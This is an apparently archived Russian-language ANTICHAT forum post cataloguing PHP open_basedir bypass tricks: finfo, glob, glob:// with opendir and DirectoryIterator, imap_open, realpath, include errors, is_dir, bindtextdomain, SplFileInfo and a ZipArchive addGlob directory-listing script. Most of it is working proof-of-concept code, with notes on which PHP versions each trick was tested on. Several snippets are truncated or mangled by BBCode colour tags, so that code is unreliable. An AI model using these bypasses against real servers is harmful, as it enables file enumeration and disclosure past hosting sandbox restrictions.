ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

22.09.2019, 18:58
|
|
Guest
Сообщений: n/a
Провел на форуме: 92829
Репутация:
212
|
|
По мотивам https://rdot.org/forum/showthread.php?t=1043
Старая тема о главном + немного добавим с гугла + тесты на 7 ветке === этот тред.
Вобщем что завелось у меня.
Ну и сразу crlf подсказывает прикрепить ссыль на эту тему, ибо "т.к. имея выполнение команд, байпасс бейсдира не сильно нужен"
Глава первая. Вспомнить всё...
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
finfo_*
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]$finfo[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]finfo_open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]FILEINFO_MIME[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc"[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]finfo_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$finfo[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]));[/COLOR][/COLOR]
Ругается на опенбэйздир или на отсутствие директории в зависимости от наличия директории.
Тест:
7.0.26
7.3.8-1
----------------------------------------------------------------------------------------------------------------------------------------------------------------
Glob(). Разный результат для отсутствующих и существующих файлов.
----------------------------------------------------------------------------------------------------------------------------------------------------------------
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]glob[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/etc/hosts'[/COLOR][COLOR="#007700"])); [/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]glob[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/etc/does-not-exist'[/COLOR][COLOR="#007700"]));[/COLOR][/COLOR]
отсутствует:
array(0){}
присутствует:
bool(false)
Тест:
7.0.26
7.3.8-1
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
opendir()+readdir()+glob://
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
https://bugs.php.net/bug.php?id=73891
Разные ошибки для существующих и отсутствующих директорий.
Если использовать с glob:// то получим листинг.
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$dh[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]opendir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]])) { while (([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]readdir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dh[/COLOR][COLOR="#007700"])) !==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) { echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#DD0000"]\n"[/COLOR][COLOR="#007700"]; } [/COLOR][COLOR="#0000BB"]closedir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dh[/COLOR][COLOR="#007700"]); } [/COLOR][/COLOR]
Код:
Code:
http://localhost/1.php?dir=glob:///*
DirectoryIterator
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"])); [/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"]= array(); [/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]DirectoryIterator[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"glob:///*"[/COLOR][COLOR="#007700"]); foreach ([/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]){ [/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]__toString[/COLOR][COLOR="#007700"](); }
[/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]DirectoryIterator[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"glob:///.*"[/COLOR][COLOR="#007700"]); foreach ([/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]){ [/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]__toString[/COLOR][COLOR="#007700"](); } [/COLOR][COLOR="#0000BB"]sort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"]); foreach ([/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]){ echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"] "[/COLOR][COLOR="#007700"]; } [/COLOR][/COLOR]
Тест:
7.0.26
7.3.8-1
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Не баг, а фича - функции posix_*
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
http://bugs.php.net/bug.php?id=16733
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"] [/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][/COLOR]
Тест:
7.0.26
7.3.8-1
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
imap_open()
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
https://bugs.php.net/bug.php?id=37265
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]$string[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'/etc'[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]imap_open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$string[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
Снова разница в ошибках.
Тест:
7.3.8-1
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: '[/COLOR][COLOR="#007700"]; if([/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"])) echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]; else echo[/COLOR][COLOR="#DD0000"]"false\n"[/COLOR][COLOR="#007700"]; echo[/COLOR][COLOR="#DD0000"]'Directory listing of '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]; while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) "[/COLOR][COLOR="#007700"]; function[/COLOR][COLOR="#0000BB"]check[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]) { global[/COLOR][COLOR="#0000BB"]$alphabet[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$windows[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'a'[/COLOR][COLOR="#007700"]; for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"] [/COLOR][/COLOR]
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Realpath().
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
http://bugs.php.net/bug.php?id=41492
Тест:
7.0.26
7.3.8-1
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: '[/COLOR][COLOR="#007700"]; if([/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"])) echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]; else echo[/COLOR][COLOR="#DD0000"]"false\n"[/COLOR][COLOR="#007700"]; echo[/COLOR][COLOR="#DD0000"]'Directory listing of '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]; while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) "[/COLOR][COLOR="#007700"]; function[/COLOR][COLOR="#0000BB"]check[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]) { global[/COLOR][COLOR="#0000BB"]$alphabet[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$windows[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'a'[/COLOR][COLOR="#007700"]; for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"] [/COLOR][/COLOR]
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
include - разница в ошибках.
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Тест:
7.3.8-1
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) { echo[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$ext[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"]; } }
[/COLOR][COLOR="#0000BB"]set_error_handler[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"eh"[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]'open_basedir = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"]; echo[/COLOR][COLOR="#DD0000"]'include_path = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'include_path'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"]; echo[/COLOR][COLOR="#DD0000"]'set include_path = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]ini_set[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'include_path'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]); echo[/COLOR][COLOR="#DD0000"]'include_path = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'include_path'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]= array(); while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) [/COLOR][/COLOR]
Глава вторая. Окей, гугл!
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Is_dir().
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
https://bugs.php.net/bug.php?id=69240
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/etc/passwd"[/COLOR][COLOR="#007700"])); [/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/etc/passwd2"[/COLOR][COLOR="#007700"]));[/COLOR][/COLOR]
Тест:
7.0.26
7.3.8-1
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]open_basedir: '[/COLOR][COLOR="#007700"]; if([/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"])) echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]; else echo[/COLOR][COLOR="#DD0000"]"false\n"[/COLOR][COLOR="#007700"]; echo[/COLOR][COLOR="#DD0000"]'Directory listing of '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]; while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) "[/COLOR][COLOR="#007700"]; function[/COLOR][COLOR="#0000BB"]check[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]) { global[/COLOR][COLOR="#0000BB"]$alphabet[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$windows[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'a'[/COLOR][COLOR="#007700"]; for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][/COLOR]
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Bindtextdomain
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Существует:
string(4) "/etc"
Отсутствует:
bool(false)
Тест:
7.0.26
7.3.8-1
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: %s '[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"])); [/COLOR][COLOR="#0000BB"]$re[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]bindtextdomain[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'xxx'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]]); [/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$re[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
SplFileInfo + getRealPath
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Аналогично
Существует:
string(4) "/etc"
Отсутствует:
bool(false)
Тест:
7.0.26
7.3.8-1
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$info[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]SplFileInfo[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]]); [/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$info[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getRealPath[/COLOR][COLOR="#007700"]()); [/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
Глава третья. Самое вкусное...
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
ZipArchive->addGlob
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Тест:
7.3.8-1
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]addGlob open_basedir bypass, Directory Listing, by BlackFan # 20.12.11 [/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]stripos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]PHP_OS[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'win'[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"]) die([/COLOR][COLOR="#DD0000"]'Windows glob does not support negative character classes'[/COLOR][COLOR="#007700"]); if(![/COLOR][COLOR="#0000BB"]class_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ZipArchive'[/COLOR][COLOR="#007700"])) die([/COLOR][COLOR="#DD0000"]'Class ZipArchive not found'[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$starttime[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]microtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$R[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$regexp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/File\((.*)\) is not within/"[/COLOR][COLOR="#007700"]; if(isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]]))[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]= ((string)[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]]); if(isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'R'[/COLOR][COLOR="#007700"]]) and[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'R'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'on'[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]$R[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].(([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]) ?[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]"open_basedir bypass, Directory Listing, by BlackFan"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]; echo[/COLOR][COLOR="#DD0000"]"Directory (absolute path): "[/COLOR][COLOR="#007700"]; echo[/COLOR][COLOR="#DD0000"]" -R "[/COLOR][COLOR="#007700"]; echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"]= array(); [/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"]= array(); [/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]= array(); [/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"openbd.zip"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]ZipArchive[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ZIPARCHIVE[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]CREATE[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]set_error_handler[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"error_handler"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"]= array([/COLOR][COLOR="#DD0000"]'*'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'.*'[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$checked_chars[/COLOR][COLOR="#007700"]= array(); [/COLOR][COLOR="#0000BB"]$count[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]; do { [/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addGlob[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]array_shift[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"*"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]GLOB_MARK[/COLOR][COLOR="#007700"]); if([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$is_dir[/COLOR][COLOR="#007700"]= ([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) ===[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]); if(([/COLOR][COLOR="#0000BB"]$R[/COLOR][COLOR="#007700"]or ![/COLOR][COLOR="#0000BB"]$is_dir[/COLOR][COLOR="#007700"]) and[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]array_push[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'?'[/COLOR][COLOR="#007700"]); if([/COLOR][COLOR="#0000BB"]$is_dir[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]array_push[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'.*'[/COLOR][COLOR="#007700"]); } } [/COLOR][COLOR="#0000BB"]$lenlf[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]); for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]"[/COLOR][COLOR="#007700"]; if([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]or[/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) { 